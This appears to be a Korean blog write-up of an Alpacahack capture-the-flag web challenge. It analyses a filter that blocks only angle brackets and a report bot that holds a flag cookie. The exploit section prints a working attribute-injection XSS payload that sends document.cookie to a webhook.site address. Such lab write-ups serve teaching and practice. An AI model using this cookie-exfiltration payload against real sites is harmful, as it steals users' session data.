반응형
문제 설명
Topic: Client-Side
분야: Web
난이도:Mideum
🦙🐻🐈️🐕️🐘
코드 분석
web / index.js
app.get("/", async (req, res) => {
const animal = req.query.animal || "alpaca";
// no html tag!
if (animal.includes("<") || animal.includes(">")) {
return res.status(400).send("Bad Request");
}
const page = html.replace("[ANIMAL]", animal);
res.send(page);
});
- "<" 문자열과 ">" 문자열 필터링
- 쿼리 anmail을 받아서 템플릿 문자열[ANUMAL]에 그대로 치환
bot / index.js
app.post("/api/report", async (req, res) => {
const { url } = req.body;
if (
typeof url !== "string" ||
(!url.startsWith("http://") && !url.startsWith("https://"))
) {
return res.status(400).send("Invalid url");
}
try {
await visit(url);
return res.sendStatus(200);
} catch (e) {
console.error(e);
return res.status(500).send("Something wrong");
}
});
- /api/report로 URL 받으면 봇이 그 URL 접속
- URL검증은 http:// 인지 https:// 인지만 확인
bot / bot.js
// Flag format
if (!/^Alpaca{\w+}$/.test(FLAG)) {
console.log("Bad flag");
process.exit(1);
}
- 플래그 형식이 Alpaca{} 임
- \w+ : 영문/숫자/언더바 1개 이상
- $: 문자열 끝을 나타냄
await page.setCookie({
name: "FLAG",
value: FLAG,
domain: APP_HOST,
path: "/",
});
- FLAG 쿠키가 APP_HOST(animal-viewer) 도메인에 설정됨
취약점 분석
- "<" 와 ">"만 막고 있어 onerror= 같은 문자열로 우회가능
- /api/report가 http/https만 확인하고 아무 URL이나 방문
즉, 공격자가 만든 페이지로 봇을 유도 가능
익스플로잇

요청받을 사이트 Webhook 을 이용

http://animal-viewer:3000/?animal=" onerror="fetch('https://webhook.site/45c75d8b-7828-4a1b-b1d3-7d799ca993f9/?c='+encodeURIComponent(document.cookie))" x="
이렇게 페이로드를 짜주면
const page = html.replace("[ANIMAL]", animal);
- [ANIMAL] 이 교체됨

<img src="/" onerror="fetch('https://webhook.site/.../?c='+encodeURIComponent(document.cookie))" x=".png">
이와 같은 코드가 실행이 됨.
따라서 Webhook 주소에서 ?c=FLAG=...를 확인해주면

encodeURIComponent()
: 쿠키 안에 있는 특수문자를 안전하게 URL에 붙이기 위한 인코딩 함수
반응형
'Alpacahack' 카테고리의 다른 글
| Alpacahack: No JS (0) | 2026.02.01 |
|---|---|
| Alpacahack: Stateless Auth (0) | 2026.01.25 |
| Alpacahack: dice roll (0) | 2026.01.21 |
| Alpacahack: secret-table (0) | 2026.01.20 |
| Alpacahack: Fushigi Crawier (0) | 2026.01.19 |